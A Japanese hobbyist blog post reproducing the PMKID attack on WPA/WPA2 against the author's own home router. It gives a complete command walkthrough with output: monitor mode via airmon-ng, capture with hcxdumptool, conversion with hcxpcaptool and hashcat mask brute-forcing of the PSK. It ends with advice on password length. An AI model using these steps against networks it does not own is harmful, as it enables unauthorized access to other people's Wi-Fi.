こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

PMKIDを使用したWPA/WPA2に対する新しい攻撃を試してみた

1. 目的

8月初旬に、PMKIDを使用してWPA/WPA2のPSK(Pre-Shared Key)をクラックする手法が公開されました。

ローミング機能が有効になっている機器が対象とのことで、

  • 自宅のルーターも対象になっているのか気になったこと
  • Wifiのハッキングを試してみたいこと

を動機に試してみました。

以下、参考サイトです。

一次情報であるhashcatのフォーラムのスレッド
New attack on WPA/WPA2 using PMKID

The Hacker Newsの記事
How to Hack WiFi Password Easily Using New Attack On WPA/WPA2

日本語の解説記事
PMKIDを悪用するWiFiハッキング手法を発見。 - 忙しい人のためのサイバーセキュリティニュース

2. 検証環境

以下の環境で検証しました。

2.1. 無線LANルーター

Huawei HG8045Dを使用しました。

自宅のインターネット回線はNURO光を使用しており、無料でレンタルしているONU(光回線終端装置)兼ルーターです。

2.2. 無線LANアダプタ

Buffalo WLI-UC-G301Nを使用しました。
〈エアステーション エヌフィニティ〉 11n対応 11g/b USB2.0用 無線子機 | WLI-UC-G301N

モニターモードに対応している無線LANアダプタのうち、WLI-UC-G301NAmazonでも家電量販店でも売られており、入手しやすく安価のため、おすすめです。

また、使用するキャプチャツールのhcxdumptoolは、Ralink RT3070チップセットをサポートしていると明記されています。
GitHub - ZerBea/hcxdumptool: Small tool to capture packets from wlan devices.

WLI-UC-G301NチップセットRalink RT3072を使用しているとのことです。Ralink RT3070と末尾が違いますが、おそらくマイナーチェンジでしょう。
Buffalo WLI-UC-G301N - WikiDevi

2.3. PC・OS

キャプチャは、VirtualBox上のKali Linuxで実施しました。なお、USB接続の無線LANアダプタを認識させるため、VirtualBox extension packのインストールが必要です。

クラックは、ホストPCのWindows10で実施、GPUGeforce GTX 1050Tiを搭載しています。

3. 準備

3.1. hcxdumptoolのインストール

キャプチャツールであるhcxdumptoolをインストールします。
GitHub - ZerBea/hcxdumptool: Small tool to capture packets from wlan devices.

# githubから最新ソース取得
root@kali:~# git clone https://github.com/ZerBea/hcxdumptool.git
Cloning into 'hcxdumptool'...
remote: Counting objects: 455, done.
remote: Compressing objects: 100% (108/108), done.
remote: Total 455 (delta 102), reused 88 (delta 45), pack-reused 302
Receiving objects: 100% (455/455), 176.36 KiB | 817.00 KiB/s, done.
Resolving deltas: 100% (276/276), done.

root@kali:~# cd hcxdumptool/

# ビルド
root@kali:~/hcxdumptool# make
cc -O3 -Wall -Wextra -std=gnu99  -o hcxdumptool hcxdumptool.c -lpthread 

# インストール
root@kali:~/hcxdumptool# make install
cc -O3 -Wall -Wextra -std=gnu99  -o hcxdumptool hcxdumptool.c -lpthread 
install -m 0755 -D hcxdumptool /usr/local/bin/hcxdumptool
rm -f hcxdumptool
rm -f *.o *~

3.2. hcxtoolsのインストール

pcapファイルからhashcatが扱うことができるファイルに変換するツールであるhcxtoolsをインストールします。
GitHub - ZerBea/hcxtools: Portable solution for capturing wlan traffic and conversion to hashcat formats (recommended by hashcat) and to John the Ripper formats. hcx: h = hash, c = capture, convert and calculate candidates, x = different hashtypes

# 依存ライブラリのインストール
root@kali:~# apt-get install libcurl4-openssl-dev libssl-dev zlib1g-dev libpcap-dev

# githubから最新ソース取得
root@kali:~# git clone https://github.com/ZerBea/hcxtools.git
Cloning into 'hcxtools'...
remote: Counting objects: 3575, done.
remote: Compressing objects: 100% (13/13), done.
remote: Total 3575 (delta 8), reused 14 (delta 6), pack-reused 3556
Receiving objects: 100% (3575/3575), 1.05 MiB | 1.70 MiB/s, done.
Resolving deltas: 100% (2498/2498), done.

root@kali:~# cd hcxtools/

# ビルド
root@kali:~/hcxtools# make
mkdir -p .deps
cc -O3 -Wall -Wextra -std=gnu99  -MMD -MF .deps/hcxpcaptool.d -o hcxpcaptool hcxpcaptool.c -lz -lcrypto 
cc -O3 -Wall -Wextra -std=gnu99  -MMD -MF .deps/hcxhashcattool.d -o hcxhashcattool hcxhashcattool.c -lcrypto -lpthread 
cc -O3 -Wall -Wextra -std=gnu99  -MMD -MF .deps/wlanhc2hcx.d -o wlanhc2hcx wlanhc2hcx.c  
cc -O3 -Wall -Wextra -std=gnu99  -MMD -MF .deps/wlanwkp2hcx.d -o wlanwkp2hcx wlanwkp2hcx.c  
cc -O3 -Wall -Wextra -std=gnu99  -MMD -MF .deps/wlanhcxinfo.d -o wlanhcxinfo wlanhcxinfo.c  
cc -O3 -Wall -Wextra -std=gnu99  -MMD -MF .deps/wlanhcx2cap.d -o wlanhcx2cap wlanhcx2cap.c -lpcap 
cc -O3 -Wall -Wextra -std=gnu99  -MMD -MF .deps/wlanhcx2essid.d -o wlanhcx2essid wlanhcx2essid.c  
cc -O3 -Wall -Wextra -std=gnu99  -MMD -MF .deps/wlanhcx2ssid.d -o wlanhcx2ssid wlanhcx2ssid.c  
cc -O3 -Wall -Wextra -std=gnu99  -MMD -MF .deps/wlanhcxmnc.d -o wlanhcxmnc wlanhcxmnc.c  
cc -O3 -Wall -Wextra -std=gnu99  -MMD -MF .deps/wlanhashhcx.d -o wlanhashhcx wlanhashhcx.c  
cc -O3 -Wall -Wextra -std=gnu99  -MMD -MF .deps/wlanhcxcat.d -o wlanhcxcat wlanhcxcat.c -lcrypto 
cc -O3 -Wall -Wextra -std=gnu99  -MMD -MF .deps/wlanpmk2hcx.d -o wlanpmk2hcx wlanpmk2hcx.c -lcrypto 
cc -O3 -Wall -Wextra -std=gnu99  -MMD -MF .deps/wlanjohn2hcx.d -o wlanjohn2hcx wlanjohn2hcx.c  
cc -O3 -Wall -Wextra -std=gnu99  -MMD -MF .deps/wlancow2hcxpmk.d -o wlancow2hcxpmk wlancow2hcxpmk.c  
cc -O3 -Wall -Wextra -std=gnu99  -MMD -MF .deps/whoismac.d -o whoismac whoismac.c -lcurl 
cc -O3 -Wall -Wextra -std=gnu99  -MMD -MF .deps/wlanhcx2john.d -o wlanhcx2john wlanhcx2john.c  
cc -O3 -Wall -Wextra -std=gnu99  -MMD -MF .deps/wlanhcx2psk.d -o wlanhcx2psk wlanhcx2psk.c -lcrypto 
cc -O3 -Wall -Wextra -std=gnu99  -MMD -MF .deps/wlancap2wpasec.d -o wlancap2wpasec wlancap2wpasec.c -lcurl 

# インストール
root@kali:~/hcxtools# make install
install -m 0755 -D hcxpcaptool /usr/local/bin/hcxpcaptool
install -m 0755 -D hcxhashcattool /usr/local/bin/hcxhashcattool
install -m 0755 -D wlanhc2hcx /usr/local/bin/wlanhc2hcx
install -m 0755 -D wlanwkp2hcx /usr/local/bin/wlanwkp2hcx
install -m 0755 -D wlanhcxinfo /usr/local/bin/wlanhcxinfo
install -m 0755 -D wlanhcx2cap /usr/local/bin/wlanhcx2cap
install -m 0755 -D wlanhcx2essid /usr/local/bin/wlanhcx2essid
install -m 0755 -D wlanhcx2ssid /usr/local/bin/wlanhcx2ssid
install -m 0755 -D wlanhcxmnc /usr/local/bin/wlanhcxmnc
install -m 0755 -D wlanhashhcx /usr/local/bin/wlanhashhcx
install -m 0755 -D wlanhcxcat /usr/local/bin/wlanhcxcat
install -m 0755 -D wlanpmk2hcx /usr/local/bin/wlanpmk2hcx
install -m 0755 -D wlanjohn2hcx /usr/local/bin/wlanjohn2hcx
install -m 0755 -D wlancow2hcxpmk /usr/local/bin/wlancow2hcxpmk
install -m 0755 -D whoismac /usr/local/bin/whoismac
install -m 0755 -D wlanhcx2john /usr/local/bin/wlanhcx2john
install -m 0755 -D wlanhcx2psk /usr/local/bin/wlanhcx2psk
install -m 0755 -D wlancap2wpasec /usr/local/bin/wlancap2wpasec

3.3. hashcatのインストール

パスワードクラックのツールであるhashcatをインストールします。

hashcat - advanced password recovery

こちらのDownloadリンクからバイナリをダウンロードして解凍します。

3.4. 無線LANアダプタ接続

無線LANアダプタをホストPCにUSB接続した後、VirtualBoxの右下のUSBアイコンを右クリックし、Ralink 802.11 n WLANを選択します。 f:id:graneed:20180825194849p:plain

3.5. モニターモード切り替え

無線LANアダプタをモニターモードに切り替えます。

# 無線LANアダプタを認識しているか確認
# wlan0として認識していることを確認
root@kali:~# iwconfig
eth0      no wireless extensions.

wlan0     IEEE 802.11  ESSID:off/any  
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm   
          Retry short  long limit:2   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off
          
lo        no wireless extensions.

# 無線LANアダプタを使用しているプロセスを停止
root@kali:~# airmon-ng check kill

Killing these processes:

  PID Name
  514 dhclient
  723 wpa_supplicant

# モニターモードに切り替え
root@kali:~# airmon-ng start wlan0

PHY Interface   Driver      Chipset

phy0    wlan0       rt2800usb   BUFFALO INC. (formerly MelCo., Inc.) WLI-UC-G301N Wireless LAN Adapter [Ralink RT3072]

        (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
        (mac80211 station mode vif disabled for [phy0]wlan0)

# モニターモードに切り替わったことを確認
# wlan0がwlan0monになり、Mode:Monitorになっていることを確認
root@kali:~# iwconfig
eth0      no wireless extensions.

wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=20 dBm   
          Retry short  long limit:2   RTS thr:off   Fragment thr:off
          Power Management:off
          
lo        no wireless extensions.

4. 攻撃実行

4.1. 攻撃対象のアクセスポイント確認

誤って隣人を攻撃しないようにするためと、対象を絞ることでキャプチャ時間を短縮するため、攻撃対象の自宅ルーターのチャンネルとMACアドレスを確認します。

airodump-ng wlan0mon

を実行します。

f:id:graneed:20180825202343p:plain

BSSID列でMACアドレス68:8F:84:XX:XX:XX、CH列で使用チャンネルが2であることを確認できました。 なお、うまく表示されない場合は、無線LANアダプタをUSBから抜き差しして、3.5の手順をやり直すとうまくいくかもしれません。

MACアドレスを元に、キャプチャ時のフィルタ用のファイルを作成します。

echo "688F84XXXXXX" > filter.txt

4.2. キャプチャ実行

以下のコマンドでキャプチャを開始します。

hcxdumptool -o test.pcapng -i wlan0mon --filterlist=filter.txt --filtermode=2 --enable_status=1 -c 2
オプション 説明
-o 出力ファイル名。適当にtest.pcapngをセット。
-i 使用するネットワークインターフェース。wlan0monをセット。
--filterlist 対象とするMACアドレスのリスト。4.1で作成したfilter.txtをセット。
--filtermode フィルターモード。対象機器を指定するモードである2をセット。
--enable_status 表示するステータスメッセージ。EAPOLのみ表示するため1をセット。
-c 対象チャンネル。4.1で確認した2をセット。

しかし、実行後しばらく待ちますが、PMKIDを拾いません。 f:id:graneed:20180825222422p:plain

やむなく、クライアントレス攻撃にはならないですが、試しにスマホからWifi接続してみたところ、PMKIDを拾いました!145f94XXXXXXスマホMACアドレスです。 f:id:graneed:20180825222545p:plain

なお、クライアントレス攻撃が成功した場合は、[FOUND PMKID CLIENT-LESS]と表示されるようです。

4.3. ファイル変換

test.pcapngのキャプチャファイルからhashcat用のファイルに変換します。

root@kali:~# hcxpcaptool -z test.16800 test.pcapng
start reading from test.pcapng
                                                
summary:                                        
--------
file name....................: test.pcapng
file type....................: pcapng 1.0
file hardware information....: x86_64
file os information..........: Linux 4.15.0-kali2-amd64
file application information.: hcxdumptool 4.2.1
network type.................: DLT_IEEE802_11_RADIO (127)
endianess....................: little endian
read errors..................: flawless
packets inside...............: 1117
skipped packets..............: 0
packets with FCS.............: 0
beacons (with ESSID inside)..: 9
probe requests...............: 4
probe responses..............: 8
association requests.........: 222
association responses........: 455
authentications (OPEN SYSTEM): 135
authentications (BROADCOM)...: 135
EAPOL packets................: 284
EAPOL PMKIDs.................: 1
best handshakes..............: 1 (ap-less: 0)

1 PMKID(s) written to test.16800

test.16800ファイルができました。

4.4. パスワードクラック

hashcatでパスワードクラックを行います。

hashcat64.exe -m 16800 -w 3 test.16800 -a 3 -1 ?l?d "?1?1?1?1?1?1?1?1"
オプション 説明
-m ハッシュモード。WPA-PMKID-PBKDF2を指す16800をセット。
-w パフォーマンスの指定。Highを指す3をセット。実行中、他のプログラムが遅くなることを体感するレベル。
-a アタックモード。ブルートフォースを意味する3をセット。
-1 カスタム文字セット。?1が「英小文字+数字」を指すように定義。
?1?1?1?1?1?1?1?1 PSKが「英小文字+数字」×8文字を前提にブルートフォースする指定。

実行後、しばらくしてから状況を確認します。 f:id:graneed:20180826013447p:plain

Time.Estimated...: Thu Jun 06 01:57:07 2019 (284 days, 2 hours)

284 days, 2 hours

ファッ・・・それは無理。

ブルートフォースの対象文字数を減らして再実行したところ、6文字で5時間、5文字で8分の見積時間となりました。

自宅ルーターのPSKはわかっているため、少々ずるいですが、PSKが8文字、末尾がABC、残り5文字は「英小文字+数字」であることがわかっている前提で、ブルートフォースをかけました。コマンドは以下の通り。

hashcat64.exe -m 16800 -w 3 test.16800 -a 3 -1 ?l?d "?1?1?1?1?1ABC"

f:id:graneed:20180826014952p:plain

およそ6分でクラックに成功しました。
ぼかしていますが、赤枠内にPSKが表示されています。

5. まとめ

Huaweiの自宅ルーターに対するPSKのクラックが(多少いんちきしましたが)成功しました。

ただし、hashcatのフォーラムのスレッドにて、今回の手法の優位性の一つとしてあげられていた「クライアントレス攻撃」は成功しませんでした。(通常のクライアントがいなくても、アクセスポイントと攻撃者だけで成立する攻撃のこと。)
別途、アクセスポイントに接続しているクライアントが存在している必要がありました。ルーターの問題か、私の方法または環境の問題かは不明です。

私のPC環境では、GPUを使っていてもPSKが「英小文字+数字」×8文字だと1年弱かかりますが、性能のよいGPU、複数台連結したGPUまたは複数PCを使用すれば、8文字でもクラックは現実的になってきます。よって、文字数を増やす、記号を混ぜる等すれば、非現実的な見積時間になるのでしょう。 実際、「英小文字・英大文字・数字・記号」×8文字で試したところ、10年以上かかる見積になりました。

さて、今回、初めてWifiの実機のクラックを試してみました。
とりあえず、WLI-UC-G301Nがあれば、モニターモードで動かせるため、今後もWifi関係の攻撃手法が出てきた際に遊べそうです。おすすめ。


続きの記事です。 graneed.hatenablog.com